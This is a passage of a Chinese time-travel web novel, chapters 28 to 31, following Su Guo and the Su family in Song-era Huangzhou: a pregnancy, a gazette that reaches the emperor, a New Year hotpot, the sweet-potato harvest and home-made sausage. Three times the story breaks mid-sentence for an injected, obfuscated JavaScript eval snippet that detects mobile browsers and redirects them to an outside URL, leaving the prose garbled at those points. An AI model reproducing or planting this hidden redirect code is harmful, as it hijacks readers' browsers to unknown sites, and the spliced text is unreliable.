待到内室，却见史氏正躺在软榻上，王氏吕氏陪在旁边，见苏辙过来，含笑对他说，“三叔，你又要当爹啦！” 28. 第 28 章 王氏等人原本正在屋内吃羊肉。 北宋民风还是比较开放，倒不是刻意避嫌，但女眷们不耐严寒，又觉得院子里烟火气太重，围观了一会儿烤全羊就回屋了。 烤羊熟了后，香气传进来，几人都很期待。 切好的羊肉拿进来后，大家边吃边聊天，倒也惬意。 王氏和吕氏都吃的很尽兴，奶娘在一旁将羊肉过一遍水再裹了饼喂箪哥儿。 史氏本来闻着香气也很期待，要知道之前在陈州，过哥儿的手艺可是给大家留下了深刻印象。 但羊肉拿进来后，史氏就觉得有股膻味难以忽视，闻着怪不舒服的。 “你们可有闻到什么味道，总感觉羊肉有股淡淡的的膻味？”史氏还问王氏来着。 王氏奇怪的闻了闻，“这羊肉本身膻味就小，处理又得当，并没有什么怪味诶。” 吕氏见状忙道，“我也没有尝出，不过可能口味不同。三婶尝尝这份羊腿肉呢，可能味道好一些。” 将面前片好的另一盘羊腿肉递给史氏。 史氏闻言，也只当自己嗅觉有异，夹了一块羊肉放到嘴里。 结果刚嚼两口，就一股恶心感觉涌上，史氏一下子吐出来。 看着她脸色泛白，十分难受的样子，几人都很担心。 王氏忙说要去叫苏辙等人。 史氏却拦住，说可能只是肠胃不适，休息片刻就好，先不要打扰其他人。 吕氏倒若有所思，发声相劝，“无论是怎样，还是要看一下才放心，去请辩才法师来看看，也不费事。” 辩才法师近两日正在斋戒，并未去吃烤全羊，而是单独做的饭食送到房间。 于是叫人去请他过来，给史氏一看，竟然是喜脉，已有月余。 “方才我便猜测是有喜，没想到果然如此，恭喜三婶了。”吕氏忙向史氏道喜。 王氏也很惊讶，忙让人去叫苏辙他们过来。 苏过跟着苏辙他们到房间，没想到竟听到这样意外的喜事。 蓁姐儿正一脸好奇，“娘，我要有弟弟妹妹了么。” 她虽然哥哥姐姐众多，但作为家中最小的孩子，对于有一个比自己更小的弟弟妹妹还是挺期待的。 史氏一脸慈爱看着她。 苏辙听到这个消息也很惊喜，忙过来拉着妻子的手扶她坐的更舒服一点。 苏过的心情倒是蛮微妙的。 虽然知道三叔三婶的感情很好，生了许多孩子。 但被这么多个堂兄堂妹围着，又有一个即将到来的新堂妹，苏过还是不得不感慨一声“英雄母亲”。 没错，他知道这次肯定是女儿。 据记载苏辙可是有三个儿子五个女儿，还不包括夭折的几个。 幸好他白糖生意有拉着三叔参一股，不然哪来的钱养这么多孩子。 为了嫁女儿，历史上苏辙可是掏光了家底过的很是拮据来着。 毕竟北宋流行厚嫁，嫁女儿都要准备许多嫁妆，攀比之风十分严重。 钱财倒是小事，主要这么多孩子生育下来，三婶的身体亏空肯定很严重。 虽然历史记录史氏还比较长寿，但活着并不代表有质量的活着，身体健康很重要。 还有生孩子这一关，古时医疗技术实在落后，鬼门关真的是一点不含水分。 不知道能不能让二哥兼学一下妇产科？ 毕竟他们亲娘以后也不知道还会不会怀孕来着。 不过，二哥也还是个半大孩子呢，解决不了什么问题，看来还是得多发展一些医生，尤其是女医生呀。 不管怎样，幸好这段时间三叔一家都在黄州，咱们争取尽量给三婶把身体养好。 “法师，三婶身体如何，需要怎样调养么？”苏过直接就问辩才法师了，毕竟专业人士比较靠谱。 辩才法师之前给史氏把过脉，倒也十分清楚状况。 “胎相并无大碍，但这位施主血气亏空严重，若不好生调养，以后恐体弱多病。” 苏辙听了，神情一下子紧张起来，“法师可有良方？” 辩才法师这段时间也是为苏过出了许多食补方子，在调理身体方面很是手到擒来。 “我列几味药材，孕期还是食补为主，让过哥儿安排点药膳即可。”辩才法师直接拿纸笔写下，“只是尊夫人年纪渐长，生育有伤母体，这胎后还是尽量避免有孕了。” 这话倒听的屋内众人一愣，氛围由喜气变得有点凝重。毕竟时下都讲究多子多孙多福气，能生育都是喜事来着。 但当一位医术高明的大夫直接说出生育有伤母体，大家还是十分重视的。 苏辙向来爱重妻子，哪有不应的道理，忙点头承诺。 苏过收起辩才法师写下的药方，拍胸脯保证，“包在我身上，这段时间一定把三婶和三婶肚子里的弟弟妹妹补的健健康康的。” 几句话倒是打散了略微沉重的氛围。 苏辙也笑道，“没想到来探望兄长月余，倒成了我们一家子来调养身体了。” 毕竟他在调养肺病，妻子又有孕，一下子家里要关照的人就又增多了。 苏轼此时十分有当哥哥的样子，“别说调养月余，就是一年半载都尽管住下。” 屋内又恢复轻松氛围。 苏辙扶史氏回房休息，其余人继续用膳。 王家兄弟听说苏家添喜，忙举杯庆贺。 众人吃喝聊天至尽兴，王家几人直接在苏家住下，隔日才回。 苏轼这边一应工作推行顺利，就连工程拨款，还不待文彦博回信指导，黄州提交上去的申请竟然被批复了。 却原来他们发行的《黄州期刊》，不仅在黄州地界十分流行，由于样式新颖，内容丰富有价值，再加上苏轼苏辙大IP加持，竟直接火出黄州了。 临近年底，各州各府都在进行考核，这样有创新又有政绩的事迹，自然被上司看在眼里，甚至作为标杆被呈至汴京。 之前留中不发的费用申请，自然直接就批复掉了，毕竟能做事的人还是要支持的。 《黄州期刊》随着转运使的奏折被一路送到汴京，层层递到负责官员考课的宰相蔡确手上。 蔡确是新党的坚定支持者，但与其他一些拼命打压旧党的人不同，他向来很有政治斗争分寸感，主张克制与平衡。 之前“乌台诗案”时，他虽也批评苏轼，但激进成员主张处死老苏时，也是他，以“太祖誓不杀士大夫”的祖制进行劝阻，可以说起到很大作用。 另外神宗对老苏的纠结态度，他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515707|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看在眼里。 这种劝阻，或许也有一些揣摩上意的成分，这也是他这些年频频高升的原因之一。 对于苏轼，他更多是站在一种评判的角度来对待，若对新政有利便扶持，若不利则打压。 但看到这样一份小刊，他却有点纠结了。 苏轼之前写了许多诗文抨击新政，但这份小刊上的许多政策，却隐隐有有些新政的影子。 这本册子是作为黄州政绩被呈上，理论上和苏轼没有直接关系，毕竟他并没有担任什么实职。 但上面印着的那么大一副人像，以及苏家兄弟的诗文。 完全无法否认说这本期刊与苏轼没有关系。 而且还别说，这期刊看起来挺有意思的，不知道出第二期了没。 蔡确就这样读着沉吟了许久。 左相王珪见他一直在看同一份奏折，关心问道，“持正可是遇到什么难题？” 于是蔡确将刊物递给王珪。 王珪一打开，就被占了极大篇幅的海报震惊到了。 毕竟也是甚少在奏折章程上看到这类图画。 然后就被上面苏家兄弟描绘的景象吸引住了。 苏轼对各种农业政策大夸特夸，来年满田满渠的鱼虾，水煮鱼香辣虾吃到够，粮食丰收，安居乐业。 苏辙也跟着哥哥夸了许多，还重点提到他们在黄州用上了火炕，坐在上面喝奶茶吃白糖糕，简直从身体暖到了心里。 火炕也就罢了，宫里多有火墙保暖，身为宰相，他们家里也是不缺保暖方法的。 但奶茶是什么？白糖又是什么？ 期刊上也就一个油条做法，没有说这两样怎么做呀。 就这样只管安利不管落地真的好么？ 不过除此之外，这份刊物和奏折还是很有价值的，妥妥的述职优秀文档。 “左相觉得应该呈给官家么？”蔡确将问题抛给王珪。 王珪倒是没什么纠结，“自然是交给官家定夺。” 毕竟他可是著名的史上著名的“三旨宰相”，每天工作就是上殿向皇帝进言，取圣旨；等皇帝决定，领圣旨；退朝后告诉下属，已得圣旨。 主打一个不站队，和明哲保身。 要苏过说，这不就是“渣男宰相”么，别的渣男是不主动、不拒绝、不负责，他当宰相是听官家、听官家、听官家。 关于苏轼怎么对待的问题，官家都纠结，他们何必替官家纠结呢。 继续把问题上报就好。 于是这本《黄州期刊》就随着奏折被呈到了宋神宗的面前。 这一年来，苏轼在黄州，不时有新作传来，宋神宗也是时有关注。 毕竟，就个人而言，他也很欣赏苏轼的人品和才华。 只是这苏东坡，嘴硬又偏偏太具煽动性。 他一写反对新政，那附和的人是一个接一个，这种情况自然要狠狠打压。 但这本册子倒有些意思。 虽一句未提新政，但隐隐有新政的影子。 而且苏轼被贬黄州是没有实职的，他却偏偏做了这么多实事，还写成这样一本刊物送上来，又是诗作又是画像的。 这难道不是另一种示弱和示好么？ 宋神宗一下子觉得自己明白了。 29. 第 29 章 当年苏轼苏辙两兄弟参加制科考试，御前对策，是仁宗亲口夸赞的宰辅之才。 高太后也喜爱苏轼文采，之前“乌台诗案”时一直为他求情。 就连神宗本人其实也十分惜才。 只可惜之前老苏太过桀骜不驯，无法重用。 如今既然有示好之心，自己怎能视而不见。 于是隔日大朝会，神宗直接将刊物给众大臣传看。 章惇一打开就刚好翻到海报，大为震撼，然后翻看到黄州的各项政策与试验数据，一下子沉默了。 之前好友给自己写信，信里全是些麻辣小龙虾水煮肉片。 催他好好干活，结果回了个正在养猪，又开始大夸特夸东坡肉。 原来不是没有务正业，只是没告诉他呢。 他就这么像酒肉朋友，只能聊一些美食美景么？ 向来稳重的章子厚一下子很想再写一封信把好友骂一顿再绝交。 没有十封信哄不回来那种。 “众位爱卿看完可有什么意见？”见众人都传阅了一遍，神宗问道。 章惇环视一周，率先出列，“此文内容翔实，许多政策利于农耕，可见十分用心，很适合全力推广。” 无论怎么吐槽，好友的政绩和利益还是要落实的。 官家在大朝会上让大家传阅此物，显然已有起复之心。 但立马就有人反对。 御史台舒亶向来擅长牵强附会罗织罪名，之前“乌台诗案”就是他花费数月时间潜心研究苏轼的《钱塘集》罗织出来的，几乎将苏轼写的每一句诗都和新法强行挂钩，非说他愚弄朝廷，讽刺新政。 虽然上次没能成功将苏轼逼入绝境，但也容不得他有任何一点死灰复燃的可能。 于是立马打头阵出来反对，“此物哗众取宠，毫无功绩，不过是收买人心蛊惑百姓的又一诗作而已，岂能大力推广。” 之前同样一起构陷苏轼的另外两位御史，何正臣与李定也出来反对。 “不过是还未推广验证的一点建议而已，着实算不上什么，有没有用，还是等做出实绩再来邀功比较合适。” 殿上众说纷纭，吵得神宗面露不虞。 他将此刊拿到朝会来讨论，自然就是有意嘉奖，不然如何对得起这难得的示好。 结果这些御史，成天闻风而奏捕风捉影不说，如今一点也不体察圣意，只知结党抱团。 他虽支持新政，但也不希望朝廷朋党严重，不好掌控。 蔡确见官家面色不对，忙站出来，“此刊所列政策，若真有益农桑，理应推广并嘉奖黄州上下。不如官家待黄州推广行之有效后再行赏赐，也能鼓励民心，彰显圣意。” 神宗听了神色稍霁，倒的确是这个道理。 而且他刚贬罚苏轼不过一年，若嘉奖太早也有些着急，还是再等等为宜。 于是点头应允。 其他人见状自然也偃旗息鼓，此事暂时按下。 朝堂上这事算是暂时翻篇，但这份《黄州小刊》倒是流传了出去，汴京许多人抄录，连说书先生也开始讲苏轼在黄州的各种轶事，添油加醋写进段子。 原本老苏因被贬而稍微回落的人气，一下子爆发出一个小高潮。 就连沸春居都客流暴涨，毕竟辣椒之物，目前只有沸春居有。 而且大家还在抱怨，为什么只有火锅，不赶紧推出奶茶等物。 连黄州那等穷乡僻壤都有，没道理汴京人民喝不到。 苏轼还是收到众多好友来信，才知道他们的小刊在京城引起了风波。 以及，他何时想在官家面前露脸了？ 完全没想到这一层好吗？！ 章大佬自然是来信将他数落了一通。 倒没有说他华而不实搞事情，毕竟自己的好友自己知道，就没有不搞事的时候。 但写信东拉西扯搞不清重点的事还是要声讨的。 老苏能怎么办呢，只能回信一封，将近期新进展汇报一通，再附上新诗一首，主题“我和子厚第一好”，以期哄好朋友咯。 全程围观的苏过只想评论一句，该！ 成天好友这么多，现在知道维护不易了吧。 不像他，小小i人，只要顾好身边的亲友就可以啦。 比如现在，他操心的只有一件事，新年将至，今年做顿怎样的年夜饭呢？ 这个问题苏过从腊月初思考到了腊月尾。 中间还抽空和老苏他们出了第二期《黄州小刊》。 临近新年，是百姓们一年到头难得完全空闲下来享受节日的时候，便也没有刊载太多农桑相关的事情，而是科普了一些诸如冬季取暖注意开窗留缝儿等生活小常识。 再配上几道家常菜谱丰富新年餐桌。 画像也从农桑图变成东坡居士钓鱼图，毕竟年年有余嘛。 不久府衙就完全收印开始放假啦。 老苏完全不用点卯，每天在家。 除了盯着苏过功课就是问他年夜饭吃啥。 苏过不堪其扰。 倒不是不知道做什么，可选菜色太多，反而不知怎么处理了。 而且家里又有病人又有孕妇，这次可以说是大团圆，想要大家喜欢的菜都顾及到，还真有点挑战。 于是思来想去，苏过直接去找相熟的匠人定做了几个锅。 大年三十，苏过在厨房指挥钟叔一家做准备。 天色刚黑，就飘出一股香辣气味。 “今晚竟是吃锅子么？”苏轼跟着众人走进膳厅。 却见桌上竟不是之前常见的火锅，整锅汤被分为红白两个部分，泾渭分明，宛如太极八卦。 走近仔细一看，原来锅子被分隔成了两半，一边是麻辣汤底，一边是白色汤底，互不干扰，各自沸腾。 “这是新做的鸳鸯锅，同时拥有两种口味，一边麻辣，一边养生锅底，不同口味的人也能一锅吃菜。”苏过解释道。 之前苏过思来想去，太多菜想要做，又有口味等需要兼顾，于是干脆也不思考菜色了，直接上鸳鸯锅。 身体没问题的吃辣，不能吃辣的人养生锅。 菜色也可以完全集齐所有人的爱好，大家自己想吃什么就烫什么，完美。 而且除常见配菜外，苏过还特地跑市场好多摊位才集齐一些非常见菜色。 比如鸭肠、鸭血，还好运气的买到一块牛肉，以及一些内脏。 苏轼夹起黑黑的薄薄一片的东西，面露嫌弃，“这是何物，能吃么？” 苏过一看，“这是毛肚。” 夹起一片，放到锅里，给亲爹示范，“就像这样，放锅里煮，数到八就可以吃啦。” 出于对儿子的信任，苏轼等人跟着做，放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521853|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴里一尝，没想到口味出乎意料的好。 脆脆嫩嫩的口感，表皮褶皱挂满汤汁吸足了酱料，吃起来十分美味。 还有那细细的鸭肠，薄薄的黄喉等。 这些东西平日里都是当下脚料的，没想到还有这种吃法。 众人都打开了新世界。 还有被片成薄薄一片的牛肉和羊肉，轻轻一煮就可以吃。 这又是另一种新鲜和美味了。 之前沸春居虽然有卖锅子，但那是口味取胜，卖的菜色主要还是些常见款。 如今看来，年后的店里又可以更新一波菜单了。 除火锅外，苏过还做了诸如小酥肉、红糖糍粑等甜品。 庆祝新年，额外还有一道拔丝地瓜。 没错，苏过还是没忍住把这道菜弄出来了。 谎称又找人去山里找到些地瓜，苏过教大家如何蘸凉水吃这道菜，免得糖丝乱飞。 苏轼本还想声讨下苏过浪费种子，结果一口吃下去，脆脆的糖皮里面是甜甜的地瓜，这个味道，这个口感，苏轼一下子被征服了。 “明年一定要把地瓜种出来！”老苏立下新年愿望。 举起奶茶，大家一起同饮， “新年快乐！” —————————— 年后不久，来不及过完元宵，苏辙就要返回筠州了。 毕竟他是提前就开始休假的，事务繁忙，总不好让毛知州为难。 而且经过这段时间的调养，他自己感觉肺疾已经好的差不多。 辩才法师也确认过基本无碍，只是后续还要继续注意。 苏过将药膳方子并一堆药材干货给三叔打包了许多。 不过目前只能他自己一个人先回去了。 毕竟史氏查出怀孕，目前胎相未稳，天气又严寒，路上雨雪路滑，还是等开春后暖和起来再出发比较合适，孩子们也跟着一起在这边多玩一阵。 于是苏三叔依依不舍告别众人，独自启程去上班。 众人继续猫冬。 年后，倒是王家侄子王子宽前来道别，说准备前往广西经营白糖生意。 毕竟理论上链路都讨论好了。 但各种官商关系都要打点，制糖坊与各种器具也需要提前准备，再与蔗农订上契约，零零总总算下来事情还是不少的。 提前准备总是好的。 苏轼特地再写了引荐信给王子宽，方便过去直接能联系上王巩等人。 未待久坐，王家侄子便离去了。 古时的各种事情总是很慢的。 每封信，每一次行程，计划做的每一件事，都需要耐心和等待。 好在，总能带来惊喜，和期待。 未到开春，苏轼便收到了王巩的信。 说是已经见到王子宽，一应合作顺利。 不过倒还有另一件事相求。 听说辩才法师住在此处，希望能帮忙解答一些医学问题。 原来他家中爱妾宇文柔奴，原本是御医之女，虽父亲冤死狱中，她却依然很热爱医学，在宾州也时常为当地百姓治病。 只是她从幼时便被叔叔卖到行院，医术多为自学，并不精通。 许多病症无能为力，便很希望有机会多学一些。 苏过听到这里却是眼睛一亮。 女医啊，稀缺人才呢！ 30. 第 30 章 听说宇文柔奴想要学医，苏过直接拿了附在信后的问题。 “我去给辩才法师看。”说完苏过就跑走了。 找到辩才法师，兴致勃勃的安利说又有一个学医的好苗子想要向他请教。 辩才法师对是否好苗子不置可否，不过他向来以济世救人慈悲为怀，自然乐意分享所学多培养一名良医。 于是拿过信纸细看。 发现上面都是一些治病救人过程中的难点以及对一些常见药方的疑问。 看着看着，辩才法师神色变得认真起来，“此人医术已有所成，不日必能成一代名医。” 苏二哥在一旁听了，也凑过来一起看。 “此信乃父亲好友王定国家人宇文柔奴所写，原本就是出自御医世家来着。”苏过解释道。 辩才法师只点点头，一边拿这些问题考教苏迨，一边提笔回信。 听着法师的详细讲解，苏过发现这位点酥娘的医术的确不错。 所问问题都是一些疑难杂症，以及对药方的改编应用，显然很有水平。 古时学医，多靠师承，一位良师十分重要。 也有部分可以自学，毕竟到北宋时，已有许多医学著作，除传统的《黄帝内经》《神农本草经》等讲解医学理论，还有诸多专科医学与医方书籍。 本朝太宗在位时，就组织人编写了《太平圣惠方》，耗时十四年，收录了一万多药方。 再加上其它的关于针灸、儿科、伤寒种种的专著，甚至连法医学都有专门的《洗冤集录》。 所以如果要自学，教材来源是不缺的。 但中医讲究融会贯通，即使同一个药方，不同病人也需要增删调量，差之毫厘，谬以千里。 而这些，就需要人好好引导了。 宇文柔奴虽父亲是御医，但双亲早逝，又在那样的环境，早无人教导。 却依然习得不错的医术。 除了天赋，肯定也付出了常人所不及的努力。 对这种天赋加努力型人才，苏过很乐于多加襄助。 “这些问题我看二哥都有些回答不上来呢，不如你们多写信交流交流，也多一个同伴。”苏过劝他二哥。 毕竟相隔这么远，也不好让辩才法师再收一徒，有苏二哥这个徒弟做桥梁，他们之间也能增加些交流机会。 而且有同伴交流对比，也的确能加快学习进度来着。 辩才法师也点头，“交流无时寂，杨墨日成科。此人可当良师益友，多加往来于你有益。” 苏二哥自然应下，提笔也给宇文柔奴写信，附上近期学习的一些思考想法。 自觉又鼓励了一对学习小组，为北宋培养两位名医，苏过倍感欣慰，深藏功与名，离开房间，准备去厨房弄点好吃的犒劳自己。 天气渐暖，快到立春，苏过准备应景做点春卷。 先备上一些红豆做成红豆沙，又用冬笋与春菜配上猪肉切丝，一个甜馅儿，一个咸口，都很完美。 中火将春卷炸成两面金黄，苏过喜欢更酥脆的口感，又复炸了一次。 火候正好，一口咬下去，酥脆的表皮下是香香软软的内馅儿。 一出锅就尝了口，差点烫到舌头。 也不等晚膳，苏过直接让半夏帮忙将春卷分装了送给众人当点心。 天气转暖后，苏大哥便护送史氏及各位堂兄妹返回了筠州。 毕竟生产，还是要在苏三叔旁边比较放心。 而临近春耕，老苏又开启了忙碌模式，盯着各处选种。 本来冬天养胖一点的身体最近又开始变瘦，眼看与历史上的苏胖子无缘，苏过也是想尽办法给大家进补。 可惜苏过再怎么努力，也只能保持亲爹不继续变瘦。 毕竟没多久就开始春耕，之前忙活的水利等工程也派上了用场。 有了充分灌溉，黄州山区的耕地也被充分利用，种上了经过选育的良种。 地瓜被他们选了一块良田种下，不知结果情况会如何。 苏过倒是完全不担心，毕竟地瓜出了名的好养活，而且现在种下，夏天就能成熟，到时候还赶得上再种一季，这样很快就能推广种植了。 赶着春耕，黄州又发行了一期期刊，推广堆肥防虫方法，搭配上东坡居士除草图，黄州人民表示十分开心。 自从第一期期刊送到汴京，京城便时常关注这边，每次有新诗作，尤其是新的期刊出来，都会迅速被送往京城。 不过这次朝中倒无暇关注，大家都在忙着对西夏的战事。 西夏那边内乱，小皇帝被梁太后软禁了，神宗认为这是消灭对方的大好时机。力排众议集结了几十万大军，兵分五路大举进攻西夏。 本来战局势如破竹，有两路人马都大败西夏军队。 结果总有蠢臣想搞事，为了独揽战功，竟然让本来占据优势的友军等他一起，结果延误战机，反而让西夏人逃过一劫。 这人还是个外戚，已故高太后的亲伯父来着。 占着这身份，估计最后也不会严惩。 不过这也不算什么，后面神宗自己还会胡搞乱搞，派宦官去监军，弄的宋军崩溃不已。 这些都是远处的战役，黄州除了按令被征发了一些民夫运送军粮外，别的倒未受太大影响。 与朝廷和边关的愁苦不同。 大家都在为今年的丰收感到高兴。 新增的耕地，充分的灌溉，精心选的良种再加上合理施肥与种植。 今年目前黄州的收成几乎快赶上去年一整年，这还有一些轮种和耐寒品种还可以再种一轮呢。 而地瓜也不负众望用它惊人的产量震惊了所有人。 挖出那一大串一大串的果实时，苏轼守在田边都惊呆了。 这产量，若能推广，足以活民数万。 老苏眼眶一下子红了。 这一年来他是真的身体力行推广各项政策，又时常被人拦下要签名画像，大家都喜欢有事没事找他聊几句。 这期间，苏轼也与黄州百姓感情愈深，可以说从未如此熟悉并近距离接触他们生活。 一粥一饭，温饱便足以让民风淳朴，安居乐业的黄州百姓喜出望外。 而这种作物，一定能让更多人远离饥荒。 试验田收成的时候，许多人都在旁围观。 看到产量如此惊人，大家都争着想要一些种子。 不过即便全部拿来做种，数量也是有限的。 苏轼只能安抚众人，按之前计划，选经验老道的农民发放地瓜种。 不过没关系，等明年就可以大面积种植，人人有份了。 大家都很相信苏轼的话，纷纷点头。 今年的收成已经很不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531736|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，当然，没人嫌收成多，明年一定要种上这种神物。 又是忙忙碌碌处理完秋收与新的轮种。 十一月，朝廷与西夏的对战彻底失败了。 因补给不足，本来屡屡获胜的种家军也被逼撤退，西夏诱敌深入，还阴险的挖开黄河灌淹宋军营地，宋军淹死、冻死、饿死的不计其数。 黄州送去边关的许多民夫也没有返回。 给原本丰收的喜悦上蒙上了一层阴影。 苏过记得这时带领种家军的应该是种谔，也属于北宋名将了。 虽说指望一个名将挽救全部战局有点强人所难，但苏过还是难免在想，若是狄青大将军还在世，这场战争会不会是另一副局面。 话说起来，狄青大将军的后人好像还在世来着。 大儿子就算了，没什么军事才能，还和宦官关系密切，口碑一般。 倒是二儿子狄咏，不但军事才能出众，还是公认的大帅哥。 后来哲宗给亲姐姐选夫婿，第一标准就说要像狄咏一样帅，被称“人样子”。 这位还娶了清河郡主，一个汴京第一帅哥，一个汴京第一美女，强强结合，好一段佳话。 还有专门写他们俩的CP文呢。 现在狄咏好像就在陕甘一代，还是环庆路副帅来着。 这路就是前面提到的高太后伯父当主帅的，如此看来，也是被压制的厉害，远不及其父了。 北宋缺名将啊。 苏过感慨。 不过感慨归感慨，苏过也只是感叹了一番就放开了。 毕竟，这种太宏观的国家大事，经不起细思。 经济、军事、改革，桩桩件件，千疮百孔。 很多时候，位卑之人有心无力，位高之人，要么有力无心，要么，力不从心。 不是所有人都像范公一样先天下之忧而忧的。 即使他作为穿越之人，能改变的事情也很有限。 出现个什么新东西还要费心遮掩找理由。 不然分分钟被当妖孽。 历史进程自有其规律，他还是专注身边的人就好。 吃点好吃的，也很不错。 比起忧国忧民，苏过现在要操心的，是他正在制作的腊肠与火腿。 今年黄州不但粮食大丰收，猪肉也是大丰收。 以前是猪肉贱如泥，黄州水产丰富，大家都不爱吃腥臊的猪肉。 但经过老苏的实验和推广，现在家家都按新法养殖。 一头头猪长得又壮，肉质还香。 临近年底，许多人家里开始杀猪准备过年。 而且不知是不是受东坡肉启发，黄州百姓总觉得苏轼很喜欢猪肉。 许多家里杀了猪的，都会特地提着一些猪肉来送给老苏，从一小块里脊到一大个猪脚的都有。 一开始被拒绝送回后，竟然许多人直接包好放在苏家门口，连是谁送的都不知道。 弄的苏轼特地安排了钟叔守在门口，遇到送肉的，能退就退，不能退也按市价付钱，如此这般折腾许久，才渐渐没人再送。 饶是如此，苏家也攒下了许多猪肉。 时下许多人都喜欢熏肉保存。 但苏过不太喜欢熏肉，倒是腊肠和清淡的熏火腿挺不错的。 于是苏家开启了制作，大半个院子挂满了腊肠与火腿。 31. 第 31 章 苏过在现代时便很喜欢四川腊肠，烟熏风味与麻辣鲜香结合的恰到好处，制作好后随便切来蒸制一下就十分美味。 南北朝时期，《齐民要术》便记下了“灌肠法”的工艺，将肥瘦相间的猪肉与辣椒花椒等调味好灌入猪小肠中，再经过晾晒与熏制，就是美味的川式腊肠。 如今辣椒在手，苏过调配起来更是得心应手，做出的腊肠十分下饭。 现在没有自动工具，全部需要手动处理。 苏过调制好馅料，又让钟婶等清洗处理好肠衣。 选了个天气晴朗的下午，发动全家一起来灌腊肠。 大家对这个活动都很感兴趣。 苏轼撩起袖子，坐在小凳子上，笨拙的用苏过特制小工具往肠衣里面塞肉。 “这肉怎么看起来这么瘦，一定要放至少三成肥肉在里面，熏出油才好吃。” 一边弄老苏还要发表意见。 “放心好了，都是三七分的馅料，不会让你吃干巴巴的腊肠的。”苏过回他。 之前提议做腊肠的时候，苏过提了下，说自己更喜欢瘦一点的腊肠，不喜欢肥肉的口感。 结果就被老苏一直吐槽，说肥油才是腊肠的灵魂。太瘦了干巴巴的一切就散什么的。 之后调制馅料的时候更是不时来盯着苏过。 毕竟腊肠也是老苏喜爱的食物呢。 离开眉山这么多年，难得吃到家乡美味。 苏大哥也在一旁帮忙，箪哥儿跑来跑去围观，吕氏拦着他不要添乱。 “小叔，我也要吃腊肠。”箪哥儿跑到苏过身边，拉着他袖子撒娇。 家里小叔最会做各种好吃的，箪哥儿的口味已经被养刁了，每次做新吃食他都很期待。 “放心好啦，特地给你做了不辣的，到时候给你尝尝。” 反正猪肉够多，苏过调制了好几种馅料，辣的和不辣的，肥一点和瘦一点的都有，到时候大家按需食用。 熏制的东西小孩子不能多吃，到时候这部分直接晾晒不要熏制就好，少量给箪哥儿尝尝还是可以的。 “离开眉州数年，如今倒是难得吃到家乡美食了。”苏轼感慨。 院子里气氛一下子伤感起来，毕竟时下交通不便，在外为官之人，除非刚好任地在家乡，否则大多时候都只有亲人甚至自己去世，才能落叶归根，回乡探亲机会寥寥无几。 苏家兄弟上次回乡就是苏洵病逝，在家守孝三年，距离如今也已经十多年了。 “你昨天还吃了水煮鱼呢，哪里难得吃到家乡美食了。” 见不得这种气氛，苏过连忙吐槽打断大家追忆。 “看来要控制些数量，不然爹你的痣疾又要复发了。” 苏轼听了连忙挽尊，“这些都是用了辣椒的新菜色，哪能混为一谈。而且天气这么冷，自然要多吃一些辛辣之物保暖，不可减少。” 原来用了辣椒就算不得家乡美食么。 苏过若有所思，果然还是不能拿现代川菜思维来定义呀。 这点差异先不论，众人继续忙着赶制腊肠，毕竟灌好后晾晒和熏制还要许久呢。 而火腿制作起来就麻烦许多，苏过用的是金华火腿制法，光是发酵就要多次反复上盐再控制温度晒制，中间再用香料轻微熏烤，给火腿增加一丝香气。 整个制作过程需要数月。 这部分就不方便让人一起参与了。 苏过基本上都是自己动手，再让钟婶帮忙盯着。 不过成果也是十分喜人的。 做好的金华火腿皮面金黄、内里呈玫瑰红色，浓郁的发酵醇香配合一点熏烤香味，直接吃或做菜都很美味。 老苏还是更喜欢腊肠，熏好后的腊肠挂在院子旁边，老苏时不时便去切上一节，竟然可以不配饭直接当零食吃。 苏过第一次看到的时候都惊呆了，看来黄州百姓们送的猪肉还真是送对了。 就这，老苏还要说道两句，“你这满院子的腊肠，我要是不努力多吃一点，得吃到何年何月。” 苏过可不惯着他，“这哪里多了，陈伯伯、徐知州、王伯伯们那边送一些，再往筠州、汴京、北京各处送一些，剩下的也就勉强够吃而已。” 尤其是陈季常与王家兄弟，都是蜀州老乡，又关系亲近，这等故乡美食，怎能不多分享一些。 苏轼盘算了下，还真是这样，哎，朋友太多的烦恼。 “给他们送些火腿吧，腊肠咱们自己留着” 老苏开始出主意。 他也尝过火腿，并不是很能吃得惯那味道。 见他一副嫌弃的模样，苏过取下一根火腿，“谁让你直接切下来就吃的，等着吧，让你吃点好吃的。” 带着火腿到厨房，苏过切下一些，皮肉分离，用鸡汤先后将皮肉炜酥，放上切段的嫩白菜心，加上蜂蜜与酒酿，小火炖上半日。 送上桌时，火腿肉已经炖的酥烂，而白菜心却依旧保持形状，又嫩又鲜，连汤都是十足的鲜美。 苏轼喝了一口就停不下来。 